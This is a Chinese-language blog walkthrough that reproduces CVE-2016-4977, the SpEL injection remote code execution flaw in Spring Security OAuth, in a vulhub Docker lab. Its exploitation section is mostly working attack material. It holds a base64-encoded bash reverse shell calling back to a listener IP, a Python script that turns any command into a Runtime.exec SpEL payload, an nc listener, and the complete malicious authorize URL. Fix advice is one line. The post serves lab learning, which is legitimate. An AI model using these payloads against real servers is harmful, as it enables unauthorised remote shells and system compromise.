CVE-2016-4977(Spring-Security-Oauth)RCE远程命令执行漏洞复现(超详细版!)

目录

一.Spring框架的概念

二.漏洞原理

三.影响版本

四.搭建环境

1.vulhub靶场下载

2.docker-compose下载地址

3.服务启动

五.漏洞复现

1.漏洞验证

2.制作反弹shell

3.脚本生成payload

4.监听反弹

六.修复建议


一.Spring框架的概念

Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益.

二.漏洞原理

Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞

三.影响版本

Spring Security OAuth 2.3到2.3.2

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.0到2.0.14

四.搭建环境

1.vulhub靶场下载

Vulhub - Docker-Compose file for vulnerability environment

2.docker-compose下载地址

https://github.com/docker/compose/releases

3.服务启动

一切都准备好之后就可以启动CVE-2016-4977 的环境了.

先cd到spring目录下的CVE-2016-4977里面,然后使用docker-compose启动环境.

docker-compose up -d                 #安装并启动环境

docker ps                 #查看当前正在运行的服务

可以看到spring的端口为8080

ip a                 #查看IP 我的IP为192.168.184.155

在浏览器端输入 你的ip+端口8080 访问服务,如果显示如下页面,则表示服务搭建成功!

五.漏洞复现

1.漏洞验证

靶场环境搭建成功之后,拼接路径payload来验证漏洞是否存在.

发现需要我们进行登录,这里根据弱口令admin/admin进行登录。

注意!将这里的IP修改为自己的靶场IP , 执行命令: 2*2

http://192.168.184.155:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

${} 里面的内容被解析并执行,说明我们可以利用反弹shell来进行远程命令执行.

2.制作反弹shell

进入棱角社区制作反弹shell , 这里用到的IP是kali的IP ,端口随便定一个8888

[~]#棱角 ::Edge.Forum*                #棱角社区

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4xMzYvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

3.脚本生成payload

进入kali , 使用脚本制作payload .

vim poc.py                 #编辑制作payload

#按 " i "进行编辑 ,然后复制下面的脚本 , 再按 " Esc "键 ,再按冒号wq " :wq " 保存并退出.

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:

poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

执行脚本:

python3 poc.py                 #运行脚本

然后将刚刚生成的反弹shell复制到此处:

4.监听反弹

在kali再打开一个终端界面 ,进行监听反弹.

nc -lvvp 8888                 #监听反弹

然后我们打开浏览器 ,修改连接访问,进行反弹shell.

我的最后链接如下 :

http://192.168.184.155:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

查看kali监听是否反弹成功:

六.修复建议

升级为最新版本.

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值